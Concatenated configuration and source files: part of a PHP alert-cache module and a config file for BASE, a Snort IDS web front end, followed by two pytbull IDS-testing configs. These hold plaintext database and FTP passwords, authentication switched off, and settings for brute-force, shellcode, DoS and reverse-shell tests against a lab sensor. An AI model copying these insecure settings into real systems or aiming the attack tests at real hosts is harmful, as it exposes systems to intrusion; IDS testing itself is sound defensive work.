      INNER JOIN iphdr b ON (a.sid=b.sid AND a.cid=b.cid)
      LEFT JOIN icmphdr c ON (a.sid=c.sid AND a.cid=c.cid)
      WHERE (a.sid = $sid AND a.cid > $cid) and ip_proto = 1
      AND ( NOT ".$schema_specific[3].")";
  }
  else 
  {
    $update_sql[2] = 
     "INSERT INTO acid_event (sid,cid,signature,timestamp,
                              ip_src,ip_dst,ip_proto,
                              sig_name".
                              $schema_specific[0].")
      SELECT event.sid as sid, event.cid as cid, signature, timestamp,
             ip_src, ip_dst, ip_proto".
             $schema_specific[1]."
      FROM event
      ".$schema_specific[2]."
      INNER JOIN iphdr ON (event.sid=iphdr.sid AND event.cid=iphdr.cid)
      LEFT JOIN icmphdr ON (event.sid=icmphdr.sid AND event.cid=icmphdr.cid)
      WHERE (event.sid = $sid AND event.cid > $cid) and ip_proto = 1
      AND ( NOT ".$schema_specific[3].")";
  }

  /* IP based protocols that are neither ICMP nor TCP nor UDP nor
     preprocessor generated */
  if( $db->DB_type == 'oci8' ) {
    $update_sql[3] = 
     "INSERT INTO acid_event (sid,cid,signature,timestamp,
                              ip_src,ip_dst,ip_proto,
                              sig_name".
                              $schema_specific[0].")
      SELECT a.sid as sid, a.cid as cid, signature, a.timestamp,
             ip_src, ip_dst, ip_proto".
             $schema_specific[1]."
      FROM event a
      ".$schema_specific[2]."
      LEFT JOIN iphdr b ON (a.sid=b.sid AND a.cid=b.cid)
      WHERE (NOT (ip_proto IN (1, 6, 17))) AND ".
            " ( NOT ".$schema_specific[3].") AND
            (a.sid = $sid AND a.cid > $cid)";
  }
  else 
  {
    $update_sql[3] = 
     "INSERT INTO acid_event (sid,cid,signature,timestamp,
                              ip_src,ip_dst,ip_proto,
                              sig_name".
                              $schema_specific[0].")
      SELECT event.sid as sid, event.cid as cid, signature, timestamp,
             ip_src, ip_dst, ip_proto".
             $schema_specific[1]."
      FROM event
      ".$schema_specific[2]."
      LEFT JOIN iphdr ON (event.sid=iphdr.sid AND event.cid=iphdr.cid)
      WHERE (NOT (ip_proto IN (1, 6, 17))) AND ".
            " ( NOT ".$schema_specific[3].") AND
            (event.sid = $sid AND event.cid > $cid)";
  }



  /* Event only -- pre-processor alerts */
  if( $db->DB_type == 'oci8' ) {
     $update_sql[4] = 
       "INSERT INTO acid_event (sid,cid,signature,timestamp,
                                ip_src,ip_dst,ip_proto,
                                sig_name".
                                $schema_specific[0].")
        SELECT a.sid as sid, a.cid as cid, signature, a.timestamp,
               ip_src, ip_dst, ip_proto".
               $schema_specific[1]."
        FROM event a
        ".$schema_specific[2]."
        LEFT JOIN iphdr b ON (a.sid=b.sid AND a.cid=b.cid)
        WHERE ".$schema_specific[3]." AND 
        (a.sid = $sid AND a.cid > $cid)";
  }
  else 
  {
    $update_sql[4] = 
       "INSERT INTO acid_event (sid,cid,signature,timestamp,
                                ip_src,ip_dst,ip_proto,
                                sig_name".
                                $schema_specific[0].")
        SELECT event.sid as sid, event.cid as cid, signature, timestamp,
               ip_src, ip_dst, ip_proto".
               $schema_specific[1]."
        FROM event
        ".$schema_specific[2]."
        LEFT JOIN iphdr ON (event.sid=iphdr.sid AND event.cid=iphdr.cid)
        WHERE ".$schema_specific[3]." AND 
        (event.sid = $sid AND event.cid > $cid)";
  }


  // Some checks for unexpected errors
  $update_cnt = count($update_sql);
  if (!isset($update_cnt)) 
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": WARNING: \$update_cnt has not been set. sid = $sid, cid = $cid<BR>";
    echo $mystr; 
  }
  else if ((integer)$update_cnt == 0) 
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": WARNING: \$update_cnt = 0 with sid = $sid, cid = $cid<BR>";
    echo $mystr; 
  }
  else if (!isset($update_sql[0]) && !isset($update_sql[1]) && !isset($update_sql[2]) && !isset($update_sql[3])) 
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": WARNING: \$update_sql[] has only empty elements with sid = $sid, cid = $cid<BR>";
    echo $mystr;
  } 
  else if ($update_sql[0] == "" && $update_sql[1] == "" && $update_sql[2] == "" && $update_sql[3] == "") 
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": WARNING: \$update_sql[] has only empty elements with sid = $sid, cid = $cid<BR>";
    echo $mystr;
  }



  // Now commit all those SQL commands
  for ( $i = 0; $i < $update_cnt; $i++ )
  {
    if ($debug_mode > 0)
    {
      $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": <BR>\n$update_sql[$i] <BR><BR>\n\n";
      echo $mystr;
    }


    $db->baseExecute($update_sql[$i]); 

    if ( $db->baseErrorMessage() != "" )
       ErrorMessage(_ERRCACHEERROR." ["._SENSOR." #$sid]["._EVENTTYPE." $i]".
                      " "._ERRCACHEUPDATE);

  }
}


// This is an auxiliary function for problems with updating acid_event
function dump_missing_events($db, $sid, $start_cid, $end_cid)
{
  GLOBAL $debug_mode;
  GLOBAL $archive_exists;
  GLOBAL $DBlib_path, $DBtype, 
         $archive_dbname, $archive_host, $archive_port,
         $archive_user, $archive_password;


  for ($n = (integer)$start_cid; $n <= (integer)$end_cid; $n++)
  {
    // Does this particular really exist in the event table?
    $event_list = $db->baseExecute( "SELECT count(*) FROM event WHERE sid='" . $sid . "' AND cid='" . $n. "'" );
    $event_row = $event_list->baseFetchRow();
    $event_value = $event_row[0];
    $event_list->baseFreeRows();
    if ((integer)$event_value == 1) {
      // Yes, it does.
      // So let's try and find it in acid event.
      $acid_event_list = $db->baseExecute( "SELECT count(*) FROM acid_event WHERE sid='" . $sid . "' AND cid='" . $n. "'" );
      $acid_event_row = $acid_event_list->baseFetchRow();
      $acid_event_element = $acid_event_row[0];
      $acid_event_list->baseFreeRows();
      if ((integer)$acid_event_element == 0) 
      {
        echo '<BR>' . __FILE__ . ':' . __LINE__ . ": ERROR: Alert \"$sid - $n\" could NOT be found in acid_event.<BR>";
      }
    }
  }
}



function UpdateAlertCache($db)
{
  GLOBAL $debug_mode;
  GLOBAL $archive_exists;
  GLOBAL $DBlib_path, $DBtype, 
         $archive_dbname, $archive_host, $archive_port,
         $archive_user, $archive_password;

  $batch_sql = "";
  $batch_cnt = 0;

  $updated_cache_cnt = 0;

  // How many sensors do we have?
  $number_sensors_lst = $db->baseExecute("SELECT count(*) FROM sensor");
  $number_sensors_array = $number_sensors_lst->baseFetchRow();
  $number_sensors_lst->baseFreeRows();

  if (!isset($number_sensors_array))
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": ERROR: \$number_sensors_array has not been set at all!<BR>";
    ErrorMessage($mystr);
    $number_sensors = 0;
  }

  if (!is_array($number_sensors_array))
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": ERROR: \$number_sensors_array is NOT an array!<BR>";
    ErrorMessage($mystr);
    
    $number_sensors = 0;
  }

  if ($number_sensors_array == NULL || $number_sensors_array == "")
  {
    $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": ERROR: \$number_sensors_array is either NULL or empty!<BR>";
    ErrorMessage($mystr);

    $number_sensors = 0;
  } 
  else
  {
    $number_sensors = $number_sensors_array[0];
  }

  if ($debug_mode > 1)
  {
    echo '$number_sensors = ' . $number_sensors . '<BR><BR>';
  }

  
  if (($debug_mode > 0) && ($number_sensors < 1))
  {
    ErrorMessage("WARNING: Number of sensors = " . $number_sensors);
    echo '<HR>';
    echo '<BR>number_sensors_array:<BR>';
    echo '<PRE>';
    var_dump($number_sensors_array);
    echo '</PRE>';
    echo '<HR>';    
  }
  
  
  /* Iterate through all sensors in the SENSOR table */
  $sensor_lst = $db->baseExecute("SELECT sid FROM sensor");
  if (($debug_mode > 0) && ($number_sensors < 1))
  {
    echo '<HR>';
    echo '<BR>sensor_lst:<BR>';
    echo '<PRE>';
    var_dump($sensor_lst);
    echo '</PRE>';
    echo '<HR>';
  }

  for ($n = 0; $n < $number_sensors; $n++)
  {
    $sid_row = $sensor_lst->baseFetchRow();
    if (!isset($sid_row) || $sid_row == "" || $sid_row == NULL)
    {
      if ($n >= $number_sensors)
      {
        break;
      }
      else
      {
        next;
      }
    }

    $sid = $sid_row[0];
    /* Get highest CID for a given sensor */
    $cid_lst = $db->baseExecute("SELECT MAX(cid) FROM event WHERE sid='".$sid."'");
    $cid_row = $cid_lst->baseFetchRow();
    if (
         (!isset($cid_row)) ||
         ($cid_row == NULL) ||
         ($cid_row == "")
       )
    {
      /* NULL is in conflict with snort-2.8.0.1/schemas/create_mysql:
       * CREATE TABLE event  ( sid         INT      UNSIGNED NOT NULL,
                               cid         INT      UNSIGNED NOT NULL,
                               signature   INT      UNSIGNED NOT NULL, 
                               timestamp            DATETIME NOT NULL,
                               PRIMARY KEY (sid,cid),
                               INDEX       sig (signature),
                               INDEX       time (timestamp));
       */
      $cid = 0;
    }
    else
    {
      $cid = $cid_row[0];
    }
    if ( $cid == NULL ) $cid = 0;

    /* Get highest CID for a given sensor in the cache */
    $ccid_lst = $db->baseExecute("SELECT MAX(cid) FROM acid_event WHERE sid='".$sid."'");
    $ccid_row = $ccid_lst->baseFetchRow();
    if (
         (!isset($ccid_row)) ||
         ($ccid_row == NULL) ||
         ($ccid_row == "")
       )
    {
      /* NULL is in conflict with base-php4/sql/create_base_tbls_mysql.sql:
         CREATE TABLE acid_event   ( sid                 INT UNSIGNED NOT NULL,
                                      cid                 INT UNSIGNED NOT NULL,     
         (...)
       */
      $ccid = 0;
    }
    else
    {
      $ccid = $ccid_row[0];
    }
    if ( $ccid == NULL ) $ccid = 0;

    if ( $debug_mode > 0 )
      echo "sensor #$sid: event.cid = $cid, acid_event.cid = $ccid";

    /* if the CID in the cache < the CID in the event table 
     *  then there are events which have NOT been added to the cache 
     */
    if ( $cid > $ccid )
    {
      $expected_addition = (integer)($cid - $ccid);

      $before_cnt = EventCntBySensor($sid, $db);        
      CacheSensor($sid, $ccid, $db);
      $updated_cache_cnt += EventCntBySensor($sid, $db) - $before_cnt;
    }

    if ( $debug_mode > 0 )
      echo "<BR>";

    if ($cid_row != NULL)
    {
      $cid_lst->baseFreeRows();
    }

    if ($ccid_row != NULL)
    {
      $ccid_lst->baseFreeRows();
    }
 
    /* BEGIN LOCAL FIX */
 
    /* If there's an archive database, and this isn't it, get the MAX(cid) from there */
    if ( ($archive_exists == 1) && (@$_COOKIE['archive'] != 1) ) { 
      $db2 = NewBASEDBConnection($DBlib_path, $DBtype);
      $db2->baseConnect($archive_dbname, $archive_host, $archive_port,
                        $archive_user, $archive_password);
      $archive_ccid_lst = $db2->baseExecute("SELECT MAX(cid) FROM acid_event WHERE sid='".$sid."'"); 
      $archive_ccid_row = $archive_ccid_lst->baseFetchRow();
      $archive_ccid = $archive_ccid_row[0];
      $archive_ccid_lst->baseFreeRows();
      $db2->baseClose();
      if ( $archive_ccid == NULL ) $archive_ccid = 0;
    } else {
      $archive_ccid = 0; 
    }
 
    if ( $archive_ccid > $ccid ) {
      $max_ccid = $archive_ccid;
    } else {
      $max_ccid = $ccid;
    }
 
    /* Fix the last_cid value for the sensor */
    $db->baseExecute("UPDATE sensor SET last_cid=$max_ccid WHERE sid=$sid"); 

    /* END LOCAL FIX */


    ####### Has every alert in the event table found its way into
    ####### acid_event?
    if (isset($ccid)) {

      if ($debug_mode > 1)
      {
        echo '<BR><BR>' . __FILE__ . ':' . __LINE__ . ": <BR>\nSensor no. $sid:<BR>\n<PRE>\n";
        echo "Old max cid in acid_event: $ccid<BR>";    
      }

      $debug_new_ccid_lst = $db->baseExecute("SELECT MAX(cid) FROM acid_event WHERE sid='".$sid."'");
      $debug_new_ccid_row = $debug_new_ccid_lst->baseFetchRow();
      $debug_new_ccid_lst->baseFreeRows();
      if (isset($debug_new_ccid_row[0])) 
      {
        $new_ccid = (integer) $debug_new_ccid_row[0];
      }
      else
      {
        $new_ccid = 0;
      }

      
      $real_addition = (integer)($new_ccid - (integer)$ccid);

      if ($debug_mode > 1)
      {
        echo "New max cid in acid_event: $new_ccid<BR>";
        echo "This many events HAVE been added to acid_event: $real_addition<BR><BR>";
    
        echo "Max cid in event: $cid<BR>";
      }

      if ($real_addition >= 0) 
      {


        if (!isset($expected_addition)) 
        {
          $expected_addition = 0;
        }

        if ($debug_mode > 1)
        {
          echo "This many events SHOULD have been added to acid_event: $expected_addition<BR>";
        }

        if ($real_addition > 0 && $expected_addition > 0) 
        {
          if ($expected_addition - $real_addition > 0) 
          {
            $mystr = '<BR>' . __FILE__ . ':' . __LINE__ . ": ERROR: <BR>" . (integer)((integer)$expected_addition - (integer)$real_addition) . " alerts have NOT found their way into acid_event with sid = $sid<BR>";
            errorMessage($mystr);


            dump_missing_events($db, $sid, $ccid, $new_ccid);
          }
        }
      }
      else
      {
        if ($debug_mode > 1)
        {
          echo "$real_addition is negative. \$new_ccid could not be retrieved. This is apparently not a situation where this sanity check would be applicable.\n";
        }
      }

      if ($debug_mode > 1) 
      {
        echo "\n---------------<BR><PRE>\n";
      }
    }
  } // for ($n = 0; $n < $number_sensors; $n++)
  
  $sensor_lst->baseFreeRows();


  if ( $updated_cache_cnt != 0 )
  {
    if ( preg_match("/base_main.php/", $_SERVER['SCRIPT_NAME']) )
         ErrorMessage(_ADDED.$updated_cache_cnt._ALERTSCACHE, "yellow");
    else
         ErrorMessage(_ADDED.$updated_cache_cnt._ALERTSCACHE);
  }
}

function DropAlertCache($db)
{
  $db->baseExecute("DELETE FROM acid_event");
}

function DropDNSCache($db)
{
  $db->baseExecute("UPDATE acid_ip_cache SET ipc_fqdn = NULL, ipc_dns_timestamp = NULL");
}

function DropWhoisCache($db)
{
  $db->baseExecute("UPDATE acid_ip_cache SET ipc_whois = NULL, ipc_whois_timestamp = NULL");
}
// vim:tabstop=2:shiftwidth=2:expandtab
?>



<?php
/*******************************************************************************
** Basic Analysis and Security Engine (BASE)
** Copyright (C) 2004 BASE Project Team
** Copyright (C) 2000 Carnegie Mellon University
** 
** (see the file "base_main.php" for license details)
**
** Project Leads: Kevin Johnson <kjohnson@secureideas.net>
** Built upon work by Roman Danyliw <rdd@cert.org>, <roman@danyliw.com>
**
** Purpose: Vanilla Config file
********************************************************************************
** Authors:
********************************************************************************
** Kevin Johnson <kjohnson@secureideas.net
**
********************************************************************************
*/
session_start();
$BASE_VERSION = '1.4.5 (lilias)';

/*
 Set the below to the language you would like people to use while viewing
 your install of BASE.
*/
$BASE_Language = 'english';

/*
 Set the $Use_Auth_System variable to 1 if you would like to force users to
 authenticate to use the system.  Only turn this off if the system is not
 accessible to the public or the network at large.  i.e. a home user testing it
 out!
*/

$Use_Auth_System = 0;

/*
 Set the below to 0 to remove the links from the display of alerts.
*/
$BASE_display_sig_links = 1;

/*
 Set the base_urlpath to the url location that is the root of your BASE install.
 This must be set for BASE to function! Do not include a trailing slash!
 But also put the preceding slash. e.g. Your URL is http://127.0.0.1/base
 set this to /base

 */
$BASE_urlpath = '/base';

/* Unique BASE ID.  The below variable, if set, will append its value to the
 * title bar of the browser.  This is for people who manage multiple installs
 * of BASE and want a simple way to differentiate them on the task bar.
 */

$BASE_installID = '';

/*
 * Create a unique cookie name for each BASE installation.
 */

$sessionName = str_replace(' ', '_', $BASE_installID . session_name());
session_name($sessionName);


/* Custom footer addition.  The below variable, if set, will cause
 *  base_main.php to include what ever file is specified.
 *  A sample custom footer file is in the contrib directory
 */
$base_custom_footer = '';

/* Path to the DB abstraction library 
 *  (Note: DO NOT include a trailing backslash after the directory)
 *   e.g. $foo = '/tmp'      [OK]
 *        $foo = '/tmp/'     [OK]
 *        $foo = 'c:\tmp'    [OK]
 *        $foo = 'c:\tmp\'   [WRONG]
 */
$DBlib_path = '/var/adodb/';


/* The type of underlying alert database
 * 
 *  MySQL       : 'mysql'
 *  PostgresSQL : 'postgres'
 *  MS SQL Server : 'mssql'
 *  Oracle      : 'oci8'
 */
$DBtype = 'mysql';

/* Alert DB connection parameters
 *   - $alert_dbname   : MySQL database name of Snort alert DB
 *   - $alert_host     : host on which the DB is stored
 *   - $alert_port     : port on which to access the DB
 *   - $alert_user     : login to the database with this user
 *   - $alert_password : password of the DB user
 *
 *  This information can be gleaned from the Snort database
 *  output plugin configuration.
 */
$alert_dbname   = 'snort';
$alert_host     = 'localhost';
$alert_port     = '';
$alert_user     = 'snort';
$alert_password = 'andreas';

/* Archive DB connection parameters */
$archive_exists   = 1; # Set this to 1 if you have an archive DB
$archive_dbname   = 'snort_archive';
$archive_host     = 'localhost';
$archive_port     = '';
$archive_user     = 'snort';
$archive_password = 'andreas';

/* Type of DB connection to use
 *   1  : use a persistant connection (pconnect)
 *   2  : use a normal connection (connect)
 */
$db_connect_method = 1;

/* Use referential integrity
 *   1  : use
 *   0  : ignore (not installed)
 *
 * Note: Only PostgreSQL and MS-SQL Server databases support
 *       referential integrity.  Use the associated
 *       create_acid_tbls_?_extra.sql script to add this
 *       functionality to the database.
 *
 *       Referential integrity will greatly improve the
 *       speed of record deletion, but also slow record
 *       insertion.
 */
$use_referential_integrity = 0;

/* SMTP Email Alert action
 *
 * Requires the Pear-Mail package to be installed like so:
 *
 * # pear install --alldeps mail
 *
 * 
 * - action_email_smtp_host : Which smtp server to use
 * - action_email_smtp_localhost : What name to use for this server in the 
 *   SMTP HELO statement. You will likely need to replace this with the name
 *   of the machine running BASE when connecting to a remote mail server.
 * - action_email_smtp_auth : Whether or not to authenticate with
 *                            the smtp server
 *     0: We do NOT authenticate ourselves towards the smtp host
 *     1: We DO authenticate ourselves towards the smtp host
 *        with the following credentials:
 * - action_email_smtp_user : The user name with the smtp host
 * - action_email_smtp_pw : The password for this mail account
 * - action_email_from : email address to use in the FROM field of the mail message
 *                       MUST be the same email address as used for the SMTP account
 * - action_email_subject : subject to use for the mail message
 * - action_email_msg : additional text to include in the body of the mail message
 * - action_email_mode : specifies how the alert information should be enclosed
 *     0 : all emailed alerts should be in the body of the message
 *     1 : all emailed alerts should be enclosed in an attachment
 */
$action_email_smtp_host = 'smtp.example.com';
$action_email_smtp_localhost = 'localhost';
$action_email_smtp_auth = 1;
$action_email_smtp_user = 'username';
$action_email_smtp_pw = 'password';
$action_email_from = 'smtpuser@example.com';
$action_email_subject = 'BASE Incident Report';
$action_email_msg = '';
$action_email_mode = 0;

/* Variable to start the ability to handle themes... */
$base_style = 'base_style.css';

/* Chart default colors - (red, green, blue)
 *    - $chart_bg_color_default    : background color of chart
 *    - $chart_lgrid_color_default : gridline color of chart
 *    - $chart_bar_color_default   : bar/line color of chart
 */
$chart_bg_color_default     = array(255,255,255);
$chart_lgrid_color_default  = array(205,205,205);
$chart_bar_color_default    = array(190, 5, 5);

/* Maximum number of rows per criteria element */
$MAX_ROWS = 10;

/* Number of rows to display for any query results */
$show_rows = 48;

/* Number of items to return during a snapshot
 *  Last _X_ # of alerts/unique alerts/ports/IP
 */
$last_num_alerts = 15;
$last_num_ualerts = 15;
$last_num_uports = 15;
$last_num_uaddr = 15;

/* Number of items to return during a snapshot
 *  Most Frequent unique alerts/IPs/ports
 */
$freq_num_alerts = 5;
$freq_num_uaddr = 15;
$freq_num_uports = 15;

/* Number of scroll buttons to use when displaying query results */
$max_scroll_buttons = 12;

/* Debug mode     - how much debugging information should be shown
 * Timing mode    - display timing information
 * SQL trace mode - log SQL statements
 *   0 : no extra information
 *   1 : debugging information
 *   2 : extended debugging information
 *
 * HTML no cache - whether a no-cache directive should be sent
 *                 to the browser (should be = 1 for IE)
 * 
 * SQL trace file - file to log SQL traces
 */
$debug_mode = 0;
$debug_time_mode = 1;
$html_no_cache = 1;
$sql_trace_mode = 0;
$sql_trace_file = '';

/* Auto-Screen refresh
 * - Refresh_Stat_Page - Should certain statistics pages refresh?
 * - refresh_all_pages - Should all the pages trigger the http refresh,
 *                       as well?
 *                       0: No, they should not.
 *                       1: Yes, even these pages should refresh.
 * - Stat_Page_Refresh_Time - refresh interval (in seconds)
 */
$refresh_stat_page = 1;
$refresh_all_pages = 0;
$stat_page_refresh_time = 180;

/* Display First/Previous/Last timestamps for alerts or
 * just First/Last on the Unique Alert listing.
 *    1: yes
 *    0: no
 */
$show_previous_alert = 0;

/* Sets maximum execution time (in seconds) of any particular page. 
 * Note: this overrides the PHP configuration file variable 
 *       max_execution_time.  Thus script can run for a total of
 *       ($max_script_runtime + max_execution_time) seconds 
 */
$max_script_runtime = 180;

/* How should the IP address criteria be entered in the Search screen?
 *   1 : each octet is a separate field
 *   2 : entire address is as a single field
 */
$ip_address_input = 2;

/* Should a combo box with possible signatures be displayed on the
 * search form. (Requires Javascript)
 *   0 : disabled
 *   1 : show only non pre-processor signatures (e.g., ignore portscans)
 *   2 : show all signatures
 */
$use_sig_list = 0;

/* Resolve IP to FQDN (on certain queries?) 
 *    1 : yes
 *    0 : no 
 */
$resolve_IP = 0;

/* automatically expand the IP Criteria and Payload Criteria sections on the Search screen?)  
 *    1 : yes
 *    0 : no - you need to click on them to see them
 */
$show_expanded_query = 0;     

/* Should summary stats be calculated on every Query Results page
 * (Enabling this option will slow page loading time)
 */
$show_summary_stats = 0;

/* DNS cache lifetime (in minutes) */
$dns_cache_lifetime = 20160;

/* Whois information cache lifetime (in minutes) */
$whois_cache_lifetime = 40320;

/* Snort spp_portscan log file */
$portscan_file = '';

/* Show part of portscan payload in signature */
$portscan_payload_in_signature = '1';

/* Event cache Auto-update
 *
 *  Should the event cache be verified and updated on every
 *  page log?  Otherwise, the cache will have to be explicitly
 *  updated from the 'cache and status' page.
 *
 *  Note: enabling this option could substantially slow down
 *  the page loading time when there are many uncached alerts.
 *  However, this is only a one-time penalty.
 *
 *   1 : yes
 *   0 : no
 */
$event_cache_auto_update = 1;

/* Maintain a history of the visited pages so that the 'Back'
 * button can be used.
 *
 * Note: Enabling this option will cause the PHP-session to
 * grow substantially after many pages have been viewed causing
 * a slow down in page loading time. Periodically return to the
 * main page to clear the history.
 *
 *   1 : yes
 *   0 : no
 */
$maintain_history = 1;

/* Level of detail to display on the main page.
 *
 * Note: The presence of summary statistics will slow page loading time
 *
 *   1 : show both the links and summary statistics
 *   0 : show only the links and a count of the number of alerts
 */
$main_page_detail = 1;

/* avoid count(*) whenever possible 
 *
 * Note: On some databases (e.g., postgres) this can greatly increase
 * performance if you have a large number of events. On other databases
 * (e.g., mysql) this will have little to no effect. Enabling this
 * option will prevent the number of events in the database from being
 * shown on the main screen and will remove the percentages associated
 * with the number of events on the alert screen.
 */
$avoid_counts = 0;

/* show links to first/last/previous event on alert screen 
 *
 * Note: Enabling this can slow down loading of the alert screen on large 
 * databases
 */
$show_first_last_links = 0;

/*
 * External URLs
 */

/* Whois query */
$external_whois_link = 'http://www.dnsstuff.com/tools/whois.ch?ip=';


/* Local whois */
/* IP addresses of whois servers. Updated on Aug, 1st 2009.
 *
 * Name:    whois.arin.net
 * Addresses:  199.212.0.43
 *
 * Name:    whois4.apnic.net
 * Address:  202.12.29.13
 * Aliases:  whois.apnic.net
 *
 * Name:    whois.ripe.net
 * Address:  193.0.6.135
 *
 * Name:    whois.nic.ad.jp
 * Address:  192.41.192.40
 *
 */

$arin_ip  = "199.212.0.43";
$apnic_ip = "202.12.29.13";
$ripe_ip  = "193.0.6.135";
$jnic_ip  = "192.41.192.40";


/* DNS query */
$external_dns_link = 'http://www.dnsstuff.com/tools/ptr.ch?ip=';

/* SamSpade 'all' query */
$external_all_link = 'http://www.whois.sc/';

/* TCP/UDP port database */
$external_port_link = array('sans'     => 'http://isc.sans.org/port.html?port=',
                            'tantalo'  => 'http://ports.tantalo.net/?q=',
                            'sstats'   => 'http://www.securitystats.com/tools/portsearch.php?type=port&amp;select=any&amp;Submit=Submit&amp;input=');

/* Signature references */
$external_sig_link = array('bugtraq'   => array('http://www.securityfocus.com/bid/', ''),
                           'snort'     => array('http://www.snort.org/search/sid/', ''),
                           'cve'       => array('http://cve.mitre.org/cgi-bin/cvename.cgi?name=', ''),
                           'arachnids' => array('http://www.whitehats.com/info/ids', ''),
                           'mcafee'    => array('http://vil.nai.com/vil/content/v_', '.htm'),
                           'icat'      => array('http://icat.nist.gov/icat.cfm?cvename=CAN-', ''),
                           'nessus'    => array('http://www.nessus.org/plugins/index.php?view=single&amp;id=', ''),
                           'url'       => array('http://', ''),
                           'local'     => array('signatures/', '.txt'),
                           'local_rules_dir' => array('rules/', '.rules'),
                           'EmThreats' => array('http://docs.emergingthreats.net/', ''));


/* Custom (user) PHP session handlers
 *
 * - use_user_session : sets whether user PHP session can be used (configured
 *                      with the session.save_handler variable in php.ini)
 *      0 : no
 *      1 : yes (assuming that 'user_session_path' and 'user_session_function'
 *               are configured correctly)
 * - user_session_path : file to include that implements the custom PHP session
 *                       handler
 * - user_session_function : function to invoke in the custom session
 *                           implementation that will register the session handler
 *                           functions
 */
$use_user_session = 0;
$user_session_path = '';
$user_session_function = '';

/**
 * This option is used to set if BASE will use colored results
 * based on the priority of alerts
 * 0 : no
 * 1 : yes
 */
$colored_alerts = 0;

// Red, yellow, orange, gray, white, blue
$priority_colors = array ('FF0000','FFFF00','FF9900','999999','FFFFFF','006600');


/** Choose a font name for the BASE charts (graph alert graphics)
 *
 * The fonts in the PEAR::Image::Graph / PEAR::Image::Canvas libraries
 * are broken.
 *
 * Better would be a scalable font, like DejaVuSans or Verdana.  A scalable
 * font would allow us to get different (more appropriate) font sizes.  
 * However, this won't work without minor or major modifications of 
 * these libraries.
 * See docs/README.graph_alert_data for details.
 * 
 * If you do NOT manage to tweak these libraries to get a proper font,
 * choose "Image_Graph_Font".  However, this font is not scalable, 
 * i.e. a headline would have the same font size as a small label. 
 *
 * Image_Graph_Font used to be a fail-safe font name.  But for php
 * versions >= 5.3 even this does not seem to be true, any more.  
 * So, as last resort, choose an empty string.
 */
// $graph_font_name = "Verdana";
$graph_font_name = "DejaVuSans";
// $graph_font_name = "Image_Graph_Font";
// $graph_font_name = "";


/** IP address to country support
 *
 * 1. First method for the mapping of ip addresses to country names:
 *
 * If you have installed the perl module Geo::IPfree
 * http://search.cpan.org/CPAN/authors/id/G/GM/GMPASSOS/Geo-IPfree-0.2.tar.gz
 * then generate the country database in readable ASCII format,
 * similarly to this:
 *         cd /usr/lib/perl5/site_perl/5.8.8/Geo/
 *         perl ipct2txt.pl ./ipscountry.dat /var/www/html/ips-ascii.txt
 *
 * Set the absolute path to this database accordingly:
 */
 //$Geo_IPfree_file_ascii = "/var/www/html/ips-ascii.txt";

/** 2. Second method for the mapping of ip addresses to country names:
 * 
 * If you have installed the perl module IP::Country
 * http://search.cpan.org/dist/IP-Country/
 * (requires Geography::Countries as well),
 * then uncomment and correct the absolute path to this perl executable:
 */
 //$IP2CC = "/usr/bin/ip2cc";


/*
 The below line should not be changed!
 */
$BASE_path = dirname(__FILE__);

// _BASE_INC is a variable set to prevent direct access to certain include files....
define( '_BASE_INC', 1 );

// Include for languages
include("$BASE_path/languages/$BASE_Language.lang.php");
?>



[CLIENT]
ipaddr                  = 192.168.56.60
iface                   = eth0
iface2			= eth1
useproxy                = 0
proxyhost               = 
proxyport               = 
proxyuser               = 
proxypass               = 

[PATHS]
db                      = data/pytbull.db
#urlpdf                  = http://dl.dropbox.com/u/30211728/
urlpdf			= http://192.168.56.60/pdf/
pdfdir                  = pdf/malicious
pcapdir                 = pcap
tempfile                = /tmp/pytbull.tmp
alertsfile              = /var/log/snort/alert
#alertsfile              = /var/log/suricata/fast.log

[ENV]
sudo                    = /usr/bin/sudo
nmap                    = /usr/local/bin/nmap
nikto                   = /pentest/web/nikto/nikto.pl
niktoconf               = /pentest/web/nikto/nikto.conf
hping3                  = /usr/sbin/hping3
tcpreplay               = /pentest/sniffers/tcpreplay/tcpreplay
ab                      = /usr/sbin/ab
ping                    = /bin/ping
ncrack                  = /usr/local/bin/ncrack
ncrackusers             = data/ncrack-users.txt
ncrackpasswords         = data/ncrack-passwords.txt
localhost               = 127.0.0.1

[FTP]
ftpproto                = ftp
ftpport                 = 21
ftpuser                 = andreas
ftppasswd		= andreas
#ftpuser                 = pilou
#ftppasswd               = oopsoops

[TIMING]
sleepbeforegetalerts    = 2
sleepbeforenexttest     = 2
sleepbeforetwoftp       = 2
urltimeout              = 10

[SERVER]
reverseshellport        = 12345

[TESTS]
clientSideAttacks       = 0
testRules               = 0
badTraffic              = 0
fragmentedPackets       = 0
bruteForce              = 0
evasionTechniques       = 0
shellCodes              = 1
denialOfService         = 0
pcapReplay              = 0
normalUsage             = 0
ipReputation            = 0

[TESTS_PARAMS]
ipreputationnbtests     = 10



[CLIENT]
ipaddr                  = 192.168.56.60
iface                   = eth0
iface2			= eth1
useproxy                = 0
proxyhost               = 
proxyport               = 
proxyuser               = 
proxypass               = 

[PATHS]
db                      = data/pytbull.db
#urlpdf                  = http://dl.dropbox.com/u/30211728/
urlpdf			= http://192.168.56.60/pdf/
pdfdir                  = pdf/malicious
pcapdir                 = pcap
tempfile                = /tmp/pytbull.tmp
#alertsfile              = /var/log/snort/alert
alertsfile              = /usr/local/var/log/suricata/fast.log

[ENV]
sudo                    = /usr/bin/sudo
nmap                    = /usr/local/bin/nmap
nikto                   = /pentest/web/nikto/nikto.pl
niktoconf               = /pentest/web/nikto/nikto.conf
hping3                  = /usr/sbin/hping3
tcpreplay               = /pentest/sniffers/tcpreplay/tcpreplay
ab                      = /usr/sbin/ab
ping                    = /bin/ping
ncrack                  = /usr/local/bin/ncrack
ncrackusers             = data/ncrack-users.txt
ncrackpasswords         = data/ncrack-passwords.txt
localhost               = 127.0.0.1

[FTP]
ftpproto                = ftp
ftpport                 = 21
ftpuser                 = andreas
ftppasswd		= andreas
#ftpuser                 = pilou
#ftppasswd               = oopsoops

[TIMING]
sleepbeforegetalerts    = 2
sleepbeforenexttest     = 2
sleepbeforetwoftp       = 2
urltimeout              = 10

[SERVER]
reverseshellport        = 12345

